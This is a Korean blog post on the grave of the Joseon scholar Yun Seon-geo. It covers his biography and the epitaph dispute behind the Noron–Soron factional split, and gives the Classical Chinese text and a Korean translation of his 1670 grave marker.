윤선거 묘비
root | 2020.09.02 02:37

조선시대 黨派의 변화를 거칠게 개괄하자면 성종~명종 시기의 훈구-사림의 대결이 사림의 정권장악으로 끝난 뒤 선조 때 서인과 동인으로 갈라지면서 시작된다. 이후 동인은 남인과 북인으로, 북인은 대북과 소북으로 분화한 뒤 인조반정을 계기로 대북은 몰락하면서 서인이 정권의 주도권을 쥐고 남인과 소북은 소수세력으로 남는다. 내부에서의 차이에도 불구하고 큰 틀을 유지하던 서인은 老論과 小論으로 분화하는데 이것은 송시열과 윤증의 대립에서 비롯되었고, 이 계기를 만든 것이 윤증의 아버지 윤선거의 삶과 죽음이었다. 그 윤선거의 묘소를 찾아보았다.


소론의 영수 윤증의 아버지이자, 그의 묘갈명 문제를 둘러싸고 결국 아들 윤증이 우암 송시열과 갈라서며 노론과 소론의 分黨에 직접적인 계기가 된 노서(魯西) 윤선거[尹宣擧 1610(광해군 2)~1669(현종 10)]의 묘는 파주시 탄현면 법흥리 307-1[소리개길 179-31]번지, 그의 장인인 이장백묘와 나란히 있다.


윤선거의 본관은 파평(坡平). 자는 길보(吉甫), 호는 미촌(美村노서(魯西산천재(山泉齋). 아버지는 대사간 황()이며, 어머니는 창녕성씨(昌寧成氏)로 혼()의 딸이다. 문거(文擧)의 아우이며, ()의 아버지이다. 김집(金集)의 문인이다.

1633(인조 11) 식년문과에 형 문거와 함께 급제하였다. 1636년 청나라의 사신이 입국하자 성균관의 유생들을 규합, 사신의 목을 베어 대의를 밝힐 것을 주청하였다. 그 해 12월 병자호란이 일어나자 가족과 함께 강화도로 피신하였다. 윤선거는 여기서 권순장 김익겸 김상용 등과 殉節을 약속했다.

이듬해 강화도가 함락되자 처 이씨가 자결하였으나 평민의 복장으로 탈출하였다. 윤선거의 이 선택은 평생 그를 괴롭혔으며, 스스로도 후처를 들이지 않고, 은거하는 등 반성하는 삶을 살았지만 이것만으로 당대 성리학에서 말하는義理를 저버렸던 잘못을 되돌릴 수는 없었다. 1651(효종 2) 이래 사헌부지평·장령 등이 제수되었으나, 강화도에서 대의를 지켜 죽지 못한 것을 자책하고 끝내 취임하지 않았다. 김집의 문하에 출입하면서 성리학과 예학(禮學)에 잠심하였다.

송시열(宋時烈)이 경전주해(經傳註解) 문제로 윤휴()와 사이가 나빠지자, 평소 윤휴와 친교가 깊었고 그의 재질을 아끼는 마음에서 변호하는 태도를 취하다가, 교분이 두터웠던 송시열로부터 배척을 당하게 되었다. 이것이 뒤에 노소분파의 한 계기가 되었다.

윤선거는 노성(지금의 논산시)으로 낙향한 뒤 주로 이곳과 금산을 오가며 살았던 것으로 보이며, 죽음도 이 지역에서 맞은 것으로 보인다. 그럼에도 불구하도 멀리 떨어져 있던 파주에 모신 것은 아마도 강화도에서 순절한 그의 부인이자 윤증의 모친인 공주이씨가 친정아버지 옆에 묻혀 있었기에 그곳에 같이 모시려 했기 때문인 것 같다.

유계(兪綮)와 함께 저술한 『가례원류(家禮源流)·『후천도설(後天圖說)』 및 이에 관하여 유계와 논변한 편지를 비롯한 많은 저술을 남겼다. 영의정에 추증되었으며, 영춘(永春)의 송파서원(松坡書院), 영광(靈光)의 용암사(龍巖祠), 노성(魯城)의 노강서원(魯岡書院) 등에 제향되었다. 저서로는 『노서유고』 26권이 있다. 시호는 문경(文敬)이다.

네이버에서 검색되는 자료집에 『북한지리정보: 금강산 한자시선()』이라는 것이 있는데 여기에 윤선거의 금강산 한자시선이 나온다. 이 가운데금란굴로 가다가 비를 만나(向金蘭窟遇雨)’라는 시를 인용한다.

明沙如雪白迎 눈 같은 백사장에 흰 갈매기 반겨맞고

路指金蘭叢石亭 금란굴 총석정 한길에 잇닿아있네

天謂碧波淘未盡 푸른 파도 다 씻어내랴 하늘이 비웃고

微雨酒塵腥 가는 비 내리여 온갖 먼지 말끔히 가시였네

노론과 소론의 분화로 이어진 윤선거의 묘갈명을 둘러싼 상황을 잠시 살펴보자. 윤증은 아버지가 돌아가신 뒤 아버지와 오랜 세월동안 교류(交遊)해왔으며, 자신의 스승 중 한 분이기도 한 송시열에게 묘갈명을 지어줄 것을 부탁한다. 이때 현석 박세채가 쓴 행장을 비롯하여 여러 행장들을 가지고 간 것 같다. 사실 이전에 이미 윤선거/윤증과 송시열은 南人인 윤휴, 허목과의 교유문제 등에서 상당히 다른 노선을 걷고 있음이 노정(露呈)된 바 있고, 감정이 상하는 일도 있었기에 윤증이 굳이 송시열에게 묘갈명을 지어줄 것을 부탁한 것이 의아하게 여겨지기도 한다.

게다가 윤선거의 여러 언행에 대해 경고에 가까운 충고를 했던 송시열에 대해 윤선거는 이른바 기유의서를 통해 윤휴와 허목을 너무 배척해서는 안된다는 의사를 송시열에게 전했다. 이 편지는 부쳐지지 않고 있었는데 윤증이 묘갈명을 부탁하면서 동봉하여 송시열에게 보낸 것이다. 이미 윤휴를 사문난적(斯文亂賊)이라 배척하고 윤선거에게 교제를 끊을 것을 종용하였던 송시열이었으니 이 편지를 보고 격분했을 것임은 불문가지다.

결국 송시열은 무성의하게 묘갈명을 지어주었고, 윤증은 이에 대해 몇 차례 개정해줄 것을 부탁했지만 송시열은 그 요구를 들어주지 않았다. 이러한 과정을 보면 이미 송시열과 틀어져 있던 윤증이 결정적인 결별을 위한 명분을 만들기 위해 묘갈명을 부탁하지는 않았을까 하는 억측마저 들게 한다.

 


앞서 언급한 윤선거의 부인 공주이씨에게는 정려가 내려졌으며, 이 정려는 현재 충남 논산시 노성면 명재 윤증고택 앞 정려각에 걸려 있다. 노서 윤선거(1610~1669) 처 공주이씨는 공주의 토성이자 명문가인 생원 이장백(李長白)의 딸로 태어나 19세가 되던 1626(인조 4)에 윤선거와 혼인하였다. 1636년에 병자호란이 일어나자 남편 윤선거와 함께 강화도로 피난하였는데, 1637년 강화도가 함락되자 스스로 목숨을 끊었다.



출처 : 다음블러그 문화재의향기 시나브로님

 

윤선거 묘표문(尹宣擧 墓表文)

이 비는 1670년에 건립된 윤선거묘표(尹宣擧墓表)로 종형(從兄)인 윤원거(尹元擧)가 비문을 지었고, 계형(季兄)인 윤문거(尹文擧)가 글씨를 썼다.

윤선거의 본관은 파평(坡平)으로 자는 길보(吉甫)이며, 호는 미촌(美村), 노서(魯西), 산천재(山泉齋), 시호는 문경(文敬)이다.

1633(인조 11)에 과거에 급제하여, 성균관에 입학하였다.

1636년 후금(後金)의 사신이 입국하자, 유생의 소두(疏頭)로서 명나라에 대한 의()를 지키기 위해 사신을 죽이자고 상소하였다. 병자호란이 일어나자 강화로 피란하여 성문을 지켰으며, 성이 함락되자 평민을 가장하여 탈출하였다.

그 뒤 여러 차례 관직에 임명되었으나, 살아남은 것을 자책하여 모두 사퇴, 금산(錦山)에 내려가 학문에 정진하였다. 성리학에 있어서 당대의 대가였으며, 예론에도 정통하였다. 문장과 글씨에 능하였고, 영춘(永春) 송파서원(松坡書院) 등에 제향되었다.

비문에는 윤선거의 행적과 가계에 관한 내용이 기술되어 있다.

有明朝鮮徵士魯西先生坡平尹公宣擧之墓

配公州李氏祔左

有明朝鮮故徵士魯西先生坡平尹君宣擧吉甫卒惟我一二▨▨尙在無以寓後死之悲相與略敍其志行而敍之于石而表其墓曰君卽我仲父八松府君之季子牛溪成先生之外孫也自幼寡言笑嗜欲學于家庭博通群書弱冠遊國庠士論咸加推重崇禎丙子春金虜僭號以使來君慷慨再倡多士伏闕請斬之冬又上書▨▨公▨責以偸安之罪聞者竦▨▨丑八松公以斥和議被謫此屛居丘園專心學問從游金眞爾諸公聞愼必正衣冠危坐終夕俯讀仰思未嘗須臾息孝宗卽位公卿交薦卽拜咨議君以臨亂不死引咎不就其後累以持平掌令進善 徵不置至戊戌春遂自載至京上五疏陳情而歸時上必欲致之至命以士服入對君竟辭不敢當今 上朝復除執義業 元子講學官及因灾別諭者前後凡十數亦不起己酉三月上幸溫泉君辭召於中路還▨▨作以四月十八日終年▨▨▨▨林莫不涕洟相弔訃聞▨……▨恨不得一見命所有歸冒死葬特贈吏曹參議君器度弘毅容貌嚴恭愼而能斷剛而善恕孝悌忠信通明公正其學一以主敬窮理克己躬行▨▨精密篤確體用俱備蓋自坡山法門以上溯閩洛醇如也逮其悅節德積行成和順輝光宗黨仰其仁鄕隣服其化朋友信之學者尊之猶도然有不足之忿以沒其身焉所著易後天說家禮源流等書深有所發揮至論時務常曰今天下之陰陽易位一▨之邪正同流士苟有意其義▨…天於尊攘亦未有不先定內▨…此者蓋亦非空言也嗚呼簞瓢▨▨樂以忘憂俛焉孜孜者必有所好矣 旌招側席禮貌愈加確乎不可拔者必有所守矣人徒見其與立萬仞而及其所以深造自得者鮮克測知逐至經綸之略屈於當世德行之懿殉乎一身天之生此人果何爲哉然而承繼父師體正學問大義屹然爲斯文世道▨重以俟百世而無惑者固不以行▨有間則於君又何憾焉配公州李氏生員長白之女貞正英秀▨▨經史有古烈女風江都之▨…以陷卽引決卜葬于交河縣月▨山向酉之原君歿合窆焉男長拯次推女適朴世垕又有擾拙近皆側室子也拯生二男行敎忠敎一女未行推生二男自敎可敎時

崇禎紀元之後四十三年庚戌十月

癸巳從兄元擧述季兄文擧書 ※ ▨▨ : 마멸 판독 불가함

 

유명조선(有明朝鮮) 징사(徵士 징사 : 국왕이 불러 나아간 은일하는 선비를 일컫는 말)노서선생(魯西先生) 파평(坡平) 윤공(尹公) 선거(宣擧)의 묘

() 공주(公州) 이씨(李氏)가 왼쪽에 부장하다.

유명조선(有明朝鮮) 징사(徵士) 노서선생(魯西先生) 파평(坡平) 윤선거(尹宣擧) 길보(吉甫)가 죽었으므로 ~마멸~ 대략 그의 뜻과 행동을 서술하고 돌에 새겨 그의 묘임을 표시하려 한다.

군은 곧 우리 중부(仲父) 팔송부군(八松府君)의 막내 아들이고 우계(牛溪) 성혼선생의 외손(外孫)이다. 어려서부터 말하고 희희덕 거리고 욕심부리는 것이 적었으며 가정에서 배워서 여러 책들을 널리 읽었다. 약관의 나이에 성균관으로 가서 공부하니 선비들이 모두 추중(推重)해야 한다고 의논하였다. 숭정 병자년 봄에 청나라 오랑캐들이 참람되게도 사신을 보내오니 군이 비분강개하며 두 번 창기하였으므로 많은 선비들이 대궐에 엎드려서 그 사신을 베기를 청하였다.

겨울에 또 상서하기를 ~마멸~ 공은 그저 편안히 지냈다는 죄를 책임지겠다고 하니 듣는 사람들이 송연하여 ~마멸~ 팔송공이 척화(斥和)를 주장하였다는 이유로 이곳에 유배와서 산림에 묻혀 학문에 오로지 마음을 쏟아 김진이(金眞爾) 등 여러 공들에게 종유(從游) 하였다. 군은 신중하기를 반드시 의관을 똑바로 하고 하루 종일 꼿꼿이 앉아서 늘 독서하고 사색하기를 조금이라도 쉰 적이 없었다.

효종이 즉위하였을 때, 공경들이 서로 추천함에 즉각 자의군(咨議君)에 제수하였으나 난을 당하여 죽지 않았다는 것을 자신의 허물로 여겨 나아가지 않았다. 그 뒤에도 자주 지평(持平)이나 장령(掌令) 등에 제수되었으나 나아가지 않았다. 무술년 봄에 이르러 드디어 서울에 이르러 다섯 차례의 상소로 진정하였고 돌아갈 때 상은 지극한 명을 내려 사복(士服)을 입고 입대(入對)하라고 하였으나 군은 마침내 사양하고 감히 하지 못하였다.

금상(今上)께서 다시 집의(執義), 원자강학관(元子講學官) 등의 벼슬을 제수하신 것이 재이(災異)로 인한 별유(別諭)로 말미암아 앞뒤로 모두 십여 차례였지만 또한 나아가지 못하였다. 기유년 3월에 상께서 온천에 행행하시니 군이 중로(中路)에서 부르시는 것을 사양하였다. 4 18일에 죽었는데 나이이다. 사림 중에서 눈물을 흘려 슬퍼하며 서로 위로 하지 않는 이가 없었다. 부음이 ~마멸~ 한스럽게도 한번도 볼 수가 없이 명이 돌아온 바가 되었으나 죽어 장사지냈음에도 불구하고 특별히 이조참의(吏曹參議)를 추증하였다.

군은 기국이 넓고 꿋꿋하고 용모가 엄숙하고 공손하며 신중하고 용단할 줄 알며 굳세고 관용할 줄 알았다. 그리고 효제충신(孝悌忠信)하고 통명공정(通明公正)하여 그의 학문은 오로지 경을 위주로 하여 이치를 궁구하고 자신의 사욕을 극복하여 몸소 실천하여 정밀하고하고 독실히 확신하는 것으로 오로지 하여 체용(體用)이 다 갖추어져 있다. 대개 파산법문(坡山法門) 이상으로부터 민낙(閩洛)의 순여(醇如)함으로까지 거슬러 올라간다. 그는 절개를 좋아하고 덕이 쌓여 행동이 온화하하여 그 후광이 종당에 비우허 사람들이 그의 인향을 우러르고 이울사람들이 그의 교화에 탄복하여 붕우들은 그를 믿고 학자들은 그를 믿기를 겸연히 부족한 분이 있기를 그의 몸이 죽을 때까지 하였다.

그가 지은 역후천설(易後天說)과 가례원류(家禮源流) 등의 책에는 깊이 발휘하는 바가 있었고 시무(時務)를 논하는데 이르러서는 늘오늘날 천하의 음양이 자리를 바뀌어 ~마멸~하늘은 존왕양이(尊王攘夷)에 대해서도 아직 정하시지 않은 바가 없다.”고 하니 대개 빈 말이 아니다. 오호라. 한 소쿠리의 밥과 한 표주박의 물로도 즐거워 근심을 잊고 묵묵히 힘썼으니 필시 좋아하는 바가 있었고 정()으로 옆 자리로 불러 예모를 더욱 더하였지만 확고히 그의 신념을 꺾을 수 없었으니 필시 지키는 바가 있었을 것이다.

사람들은 그가 만길 낭떠러지에 서있는 것만을 볼 뿐이고 그가 깊이 나아가 스스로 터득한 것에 대해서 짐작할 수 있는 이가 드물다. 경륜의 대략은 당세 덕행의 아름다움으로 일신에 순절하는 것보다 못하다. 하늘이 이 사람을 낳은 것은 과연 무엇 때문인가. 아버지와 스승을 계승하고 학문과 대의를 본받아 우뚝이 사문의 세도가 되었으니 백세를 기다린다고 하더라도 의혹되는 것이 없을 것이다. 진실로 행동에 차이가 없을 것이니 군에 대해서도 무슨 유감이 있겠는가.

배위는 공주이씨(公州李氏) 생원(生員) 장백의 딸로서 올곧고 빼어나며 경사에 정통하고 옛 열녀의 기풍이 있었다. 강도(江都) ~마멸~ 함락하자 곧 인결(引決)하였다. 교하현(交河縣) () 유향(酉向)의 언덕에 장사지냈으며, 군이 죽자 합장하였다. 장남은 증()이었고 차남은 추()였으며 딸은 박세후(朴世垕)에게 시집갔고 또 요(), (), ()이 있는데 모두 측실의 아들들이다. ()은 아들 둘을 낳았는데 행교(行敎)와 충교(忠敎)이고 딸 하나를 낳았는데 아직 시집을 가지 않았다. ()는 아들 둘을 낳았는데 자교(自敎)와 가교(可敎)이다.

 

숭정(崇禎) 기원후 43(현종 11, 1670) 경술년 10월 계사일에 종형(從兄) 원거(元擧)가 찬술하고 계형(季兄) 문거(文擧)가 글씨를 썼다.

 

출처 : 다음블러그 물텀벙님

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26개의 댓글

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